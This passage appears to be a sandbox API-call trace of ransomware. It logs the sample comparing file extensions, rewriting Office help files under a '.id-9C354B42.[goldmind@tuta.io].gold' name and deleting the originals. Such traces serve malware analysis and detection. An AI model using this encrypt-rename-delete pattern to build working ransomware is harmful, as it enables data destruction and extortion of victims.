4 [0103.390] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0103.390] lstrlenW (lpString=".xls") returned 4 [0103.390] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0103.390] lstrlenW (lpString=".xlsx") returned 5 [0103.390] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0103.390] lstrlenW (lpString=".ppt") returned 4 [0103.390] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0103.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK") returned 63 [0103.390] lstrlenW (lpString=".zip") returned 4 [0103.390] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0103.390] lstrlenW (lpString=".rar") returned 4 [0103.390] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0103.390] lstrlenW (lpString=".bz2") returned 4 [0103.390] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0103.390] lstrlenW (lpString=".7z") returned 3 [0103.390] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0103.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK") returned 63 [0103.390] lstrlenW (lpString=".dbf") returned 4 [0103.390] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0103.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK") returned 63 [0103.390] lstrlenW (lpString=".1cd") returned 4 [0103.390] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0103.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK") returned 63 [0103.390] lstrlenW (lpString=".jpg") returned 4 [0103.390] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0103.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK") returned 63 [0103.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK") returned 63 [0103.391] lstrlenW (lpString=".doc") returned 4 [0103.391] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0103.391] lstrlenW (lpString=".docx") returned 5 [0103.391] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0103.391] lstrlenW (lpString=".pdf") returned 4 [0103.391] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0103.391] lstrlenW (lpString=".xls") returned 4 [0103.391] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0103.391] lstrlenW (lpString=".xlsx") returned 5 [0103.391] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0103.391] lstrlenW (lpString=".ppt") returned 4 [0103.391] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0103.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK") returned 63 [0103.391] lstrlenW (lpString=".zip") returned 4 [0103.391] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0103.391] lstrlenW (lpString=".rar") returned 4 [0103.391] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0103.391] lstrlenW (lpString=".bz2") returned 4 [0103.391] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0103.391] lstrlenW (lpString=".7z") returned 3 [0103.391] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0103.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK") returned 63 [0103.391] lstrlenW (lpString=".dbf") returned 4 [0103.391] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0103.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK") returned 63 [0103.391] lstrlenW (lpString=".1cd") returned 4 [0103.391] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0103.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK") returned 63 [0103.391] lstrlenW (lpString=".jpg") returned 4 [0103.391] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0103.391] lstrcmpiW (lpString1=".HXK", lpString2=".gold") returned 1 [0103.391] lstrlenW (lpString="MSOUC_K_COL.HXK") returned 15 [0103.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0103.392] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=113) returned 1 [0103.392] CloseHandle (hObject=0x3bc) returned 1 [0103.392] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_k_col.hxk")) returned 0x20 [0103.392] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_k_col.hxk.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0103.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0103.392] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.392] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_k_col.hxk.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0103.393] GetLastError () returned 0x0 [0103.393] ReadFile (in: hFile=0x3bc, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x71, lpOverlapped=0x0) returned 1 [0103.393] WriteFile (in: hFile=0x198, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x80, lpOverlapped=0x0) returned 1 [0103.394] ReadFile (in: hFile=0x3bc, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0103.394] WriteFile (in: hFile=0x198, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0103.394] SetEndOfFile (hFile=0x198) returned 1 [0103.394] CloseHandle (hObject=0x198) returned 1 [0103.394] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.394] SetEndOfFile (hFile=0x3bc) returned 1 [0103.396] CloseHandle (hObject=0x3bc) returned 1 [0103.396] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0103.396] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_k_col.hxk")) returned 1 [0103.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK") returned 63 [0103.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK") returned 63 [0103.397] lstrlenW (lpString=".doc") returned 4 [0103.397] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0103.397] lstrlenW (lpString=".docx") returned 5 [0103.397] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0103.397] lstrlenW (lpString=".pdf") returned 4 [0103.397] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0103.397] lstrlenW (lpString=".xls") returned 4 [0103.397] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0103.397] lstrlenW (lpString=".xlsx") returned 5 [0103.397] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0103.397] lstrlenW (lpString=".ppt") returned 4 [0103.397] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0103.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK") returned 63 [0103.397] lstrlenW (lpString=".zip") returned 4 [0103.397] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0103.397] lstrlenW (lpString=".rar") returned 4 [0103.397] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0103.397] lstrlenW (lpString=".bz2") returned 4 [0103.397] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0103.397] lstrlenW (lpString=".7z") returned 3 [0103.397] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0103.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK") returned 63 [0103.397] lstrlenW (lpString=".dbf") returned 4 [0103.397] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0103.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK") returned 63 [0103.397] lstrlenW (lpString=".1cd") returned 4 [0103.397] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0103.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK") returned 63 [0103.397] lstrlenW (lpString=".jpg") returned 4 [0103.397] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0103.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK") returned 63 [0103.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK") returned 63 [0103.398] lstrlenW (lpString=".doc") returned 4 [0103.398] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0103.398] lstrlenW (lpString=".docx") returned 5 [0103.398] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0103.398] lstrlenW (lpString=".pdf") returned 4 [0103.398] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0103.398] lstrlenW (lpString=".xls") returned 4 [0103.398] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0103.398] lstrlenW (lpString=".xlsx") returned 5 [0103.398] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0103.398] lstrlenW (lpString=".ppt") returned 4 [0103.398] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0103.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK") returned 63 [0103.398] lstrlenW (lpString=".zip") returned 4 [0103.398] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0103.398] lstrlenW (lpString=".rar") returned 4 [0103.398] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0103.398] lstrlenW (lpString=".bz2") returned 4 [0103.398] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0103.398] lstrlenW (lpString=".7z") returned 3 [0103.398] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0103.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK") returned 63 [0103.398] lstrlenW (lpString=".dbf") returned 4 [0103.398] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0103.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK") returned 63 [0103.398] lstrlenW (lpString=".1cd") returned 4 [0103.398] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0103.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK") returned 63 [0103.398] lstrlenW (lpString=".jpg") returned 4 [0103.398] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0103.398] lstrcmpiW (lpString1=".HXS", lpString2=".gold") returned 1 [0103.398] lstrlenW (lpString="MSPUB.DEV.HXS") returned 13 [0103.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0103.399] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=4750792) returned 1 [0103.399] CloseHandle (hObject=0x3bc) returned 1 [0103.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev.hxs")) returned 0x20 [0103.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev.hxs.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0103.399] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev.hxs.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0103.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS") returned 61 [0103.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS") returned 61 [0103.399] lstrlenW (lpString=".doc") returned 4 [0103.399] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0103.399] lstrlenW (lpString=".docx") returned 5 [0103.399] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1 [0103.399] lstrlenW (lpString=".pdf") returned 4 [0103.399] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0103.399] lstrlenW (lpString=".xls") returned 4 [0103.399] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0103.399] lstrlenW (lpString=".xlsx") returned 5 [0103.399] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1 [0103.399] lstrlenW (lpString=".ppt") returned 4 [0103.399] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0103.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS") returned 61 [0103.399] lstrlenW (lpString=".zip") returned 4 [0103.399] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0103.399] lstrlenW (lpString=".rar") returned 4 [0103.399] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0103.399] lstrlenW (lpString=".bz2") returned 4 [0103.399] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0103.399] lstrlenW (lpString=".7z") returned 3 [0103.399] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0103.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS") returned 61 [0103.399] lstrlenW (lpString=".dbf") returned 4 [0103.399] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0103.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS") returned 61 [0103.400] lstrlenW (lpString=".1cd") returned 4 [0103.400] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0103.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS") returned 61 [0103.400] lstrlenW (lpString=".jpg") returned 4 [0103.400] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0103.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS") returned 61 [0103.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS") returned 61 [0103.400] lstrlenW (lpString=".doc") returned 4 [0103.400] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0103.400] lstrlenW (lpString=".docx") returned 5 [0103.400] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1 [0103.400] lstrlenW (lpString=".pdf") returned 4 [0103.400] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0103.400] lstrlenW (lpString=".xls") returned 4 [0103.400] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0103.400] lstrlenW (lpString=".xlsx") returned 5 [0103.400] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1 [0103.400] lstrlenW (lpString=".ppt") returned 4 [0103.400] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0103.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS") returned 61 [0103.400] lstrlenW (lpString=".zip") returned 4 [0103.400] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0103.400] lstrlenW (lpString=".rar") returned 4 [0103.400] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0103.400] lstrlenW (lpString=".bz2") returned 4 [0103.400] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0103.400] lstrlenW (lpString=".7z") returned 3 [0103.400] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0103.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS") returned 61 [0103.400] lstrlenW (lpString=".dbf") returned 4 [0103.400] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0103.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS") returned 61 [0103.400] lstrlenW (lpString=".1cd") returned 4 [0103.400] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0103.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS") returned 61 [0103.400] lstrlenW (lpString=".jpg") returned 4 [0103.400] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0103.400] lstrcmpiW (lpString1=".HXC", lpString2=".gold") returned 1 [0103.400] lstrlenW (lpString="MSPUB.DEV_COL.HXC") returned 17 [0103.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0103.401] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=641) returned 1 [0103.401] CloseHandle (hObject=0x3bc) returned 1 [0103.401] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxc")) returned 0x20 [0103.401] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxc.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0103.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0103.401] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.401] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxc.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0103.402] GetLastError () returned 0x0 [0103.402] ReadFile (in: hFile=0x3bc, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x281, lpOverlapped=0x0) returned 1 [0103.403] WriteFile (in: hFile=0x198, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x290, lpOverlapped=0x0) returned 1 [0103.404] ReadFile (in: hFile=0x3bc, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0103.404] WriteFile (in: hFile=0x198, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0103.404] SetEndOfFile (hFile=0x198) returned 1 [0103.404] CloseHandle (hObject=0x198) returned 1 [0103.404] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.404] SetEndOfFile (hFile=0x3bc) returned 1 [0103.406] CloseHandle (hObject=0x3bc) returned 1 [0103.406] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0103.407] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxc")) returned 1 [0103.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC") returned 65 [0103.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC") returned 65 [0103.407] lstrlenW (lpString=".doc") returned 4 [0103.407] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0103.407] lstrlenW (lpString=".docx") returned 5 [0103.407] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0103.407] lstrlenW (lpString=".pdf") returned 4 [0103.407] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0103.407] lstrlenW (lpString=".xls") returned 4 [0103.407] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0103.407] lstrlenW (lpString=".xlsx") returned 5 [0103.407] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0103.407] lstrlenW (lpString=".ppt") returned 4 [0103.407] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0103.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC") returned 65 [0103.408] lstrlenW (lpString=".zip") returned 4 [0103.408] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0103.408] lstrlenW (lpString=".rar") returned 4 [0103.408] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0103.408] lstrlenW (lpString=".bz2") returned 4 [0103.408] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0103.408] lstrlenW (lpString=".7z") returned 3 [0103.408] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0103.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC") returned 65 [0103.408] lstrlenW (lpString=".dbf") returned 4 [0103.408] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0103.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC") returned 65 [0103.408] lstrlenW (lpString=".1cd") returned 4 [0103.408] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0103.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC") returned 65 [0103.408] lstrlenW (lpString=".jpg") returned 4 [0103.408] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0103.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC") returned 65 [0103.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC") returned 65 [0103.408] lstrlenW (lpString=".doc") returned 4 [0103.408] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0103.408] lstrlenW (lpString=".docx") returned 5 [0103.408] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0103.408] lstrlenW (lpString=".pdf") returned 4 [0103.408] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0103.408] lstrlenW (lpString=".xls") returned 4 [0103.408] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0103.408] lstrlenW (lpString=".xlsx") returned 5 [0103.408] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0103.408] lstrlenW (lpString=".ppt") returned 4 [0103.408] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0103.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC") returned 65 [0103.408] lstrlenW (lpString=".zip") returned 4 [0103.408] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0103.408] lstrlenW (lpString=".rar") returned 4 [0103.408] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0103.408] lstrlenW (lpString=".bz2") returned 4 [0103.408] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0103.408] lstrlenW (lpString=".7z") returned 3 [0103.408] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0103.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC") returned 65 [0103.408] lstrlenW (lpString=".dbf") returned 4 [0103.408] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0103.408] 